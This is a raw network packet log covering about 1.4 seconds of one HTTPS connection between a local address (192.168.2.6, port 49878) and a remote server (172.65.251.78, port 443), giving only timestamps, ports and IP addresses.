Dec 12, 2024 12:59:31.538851976 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.538875103 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.538980007 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.538995028 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.540863037 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.545217037 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.545233965 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.545291901 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.545299053 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.545340061 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.545340061 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.552598953 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.552615881 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.552697897 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.552697897 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.552705050 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.552881956 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.560025930 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.560043097 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.560108900 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.560115099 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.561510086 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.567795992 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.567830086 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.567867041 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.567887068 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.567918062 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.567918062 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.574312925 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.574336052 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.574388981 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.574398041 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.574456930 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.574456930 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.581392050 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.581415892 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.581494093 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.581494093 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.581504107 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.581927061 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.587789059 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.587805033 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.587898016 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.587898016 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.587904930 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.590619087 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.730977058 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.730997086 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.731173992 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.731187105 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.731337070 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.738666058 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.738682032 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.738751888 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.738758087 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.738800049 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.744904041 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.744920969 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.744963884 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.744971037 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.745011091 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.752456903 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.752473116 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.752526999 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.752533913 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.752566099 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.759629011 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.759649038 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.759681940 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.759687901 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.759721041 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.766433954 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.766449928 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.766499043 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.766505003 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.766532898 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.774627924 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.774642944 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.774782896 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.774792910 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.774827957 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.780174017 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.780189037 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.780240059 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.780246973 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.780284882 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.923424959 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.923445940 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.923497915 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.923508883 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.923547983 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.930495024 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.930510044 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.930546045 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.930552006 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.930587053 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.936850071 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.936866045 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.936906099 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.936912060 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.936948061 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.944308996 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.944324017 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.944370031 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.944375992 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.944412947 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.952217102 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.952234030 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.952291965 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.952299118 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.952327013 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.958470106 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.958488941 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.958530903 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.958537102 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.958568096 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.965595007 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.965612888 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.965677023 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.965686083 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.965717077 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.965729952 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.971874952 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.971901894 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.971935987 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.971942902 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.971977949 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.971997976 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.115439892 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.115468979 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.115531921 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.115550995 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.115577936 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.115592003 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.122886896 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.122904062 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.122956038 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.122963905 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.123003960 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.131431103 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.131448030 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.131506920 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.131516933 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.131565094 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.138257980 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.138272047 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.138317108 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.138325930 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.138351917 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.138431072 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.144855976 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.144871950 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.144917965 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.144925117 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.144951105 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.144965887 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.150504112 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.150517941 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.150557995 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.150566101 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.150592089 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.150655985 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.158490896 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.158555984 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.158571005 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.158580065 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.158616066 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.164549112 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.164594889 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.164613962 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.164618969 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.164655924 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.308310032 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.308358908 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.308391094 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.308404922 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.308428049 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.308445930 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.314954042 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.314999104 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.315041065 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.315053940 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.315078020 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.315094948 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.322439909 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.322484970 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.322535992 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.322545052 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.322581053 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.328677893 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.328728914 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.328744888 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.328751087 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.328777075 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.328797102 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.336018085 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.336061001 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.336105108 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.336111069 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.336142063 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.336162090 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.342817068 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.342869043 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.342884064 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.342900991 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.342920065 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.342948914 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.350081921 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.350126982 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.350163937 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.350168943 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.350203037 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.350270033 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.356404066 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.356445074 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.356467962 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.356472969 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.356508017 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.356529951 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.500403881 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.500437975 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.500485897 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.500503063 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.500528097 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.500546932 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.507016897 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.507039070 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.507076025 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.507083893 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.507118940 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.507138014 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.514367104 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.514386892 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.514427900 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.514435053 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.514480114 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.520836115 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.520859003 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.520895958 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.520901918 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.520934105 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.520950079 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.527976990 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.528001070 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.528038979 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.528044939 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.528090000 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.534638882 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.534660101 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.534701109 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.534709930 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.534730911 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.534748077 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.541985989 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.542011023 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.542047977 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.542053938 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.542082071 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.542099953 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.549021006 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.549056053 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.549082994 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.549088955 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.549114943 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.549134016 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.692425013 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.692461967 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.692502975 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.692517042 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.692550898 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.692569971 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.699531078 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.699558020 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.699598074 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.699610949 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.699641943 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.699662924 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.706881046 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.706907034 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.706969023 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.706976891 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.707015038 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.713778973 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.713824987 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.713864088 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.713870049 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.713901043 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.713917971 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.720356941 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.720380068 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.720419884 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.720431089 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.720455885 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.720478058 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.727359056 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.727385044 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.727412939 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.727420092 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.727451086 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.727467060 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.734781981 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.734803915 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.734862089 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.734872103 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.735161066 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.742384911 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.742405891 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.742445946 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.742469072 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.742501974 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.742501974 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.884432077 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.884486914 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.884526014 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.884541988 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.884577990 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.885035038 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.891361952 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.891407013 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.891452074 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.891460896 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.891561985 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.891561985 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.898246050 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.898289919 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.898396015 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.898403883 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.898466110 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.898466110 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.906063080 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.906111002 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.906147003 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.906162977 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.906251907 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.906476021 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.912282944 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.912331104 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.912368059 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.912374973 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.912425995 CET	49878	443	192.168.2.6	172.65.251.78
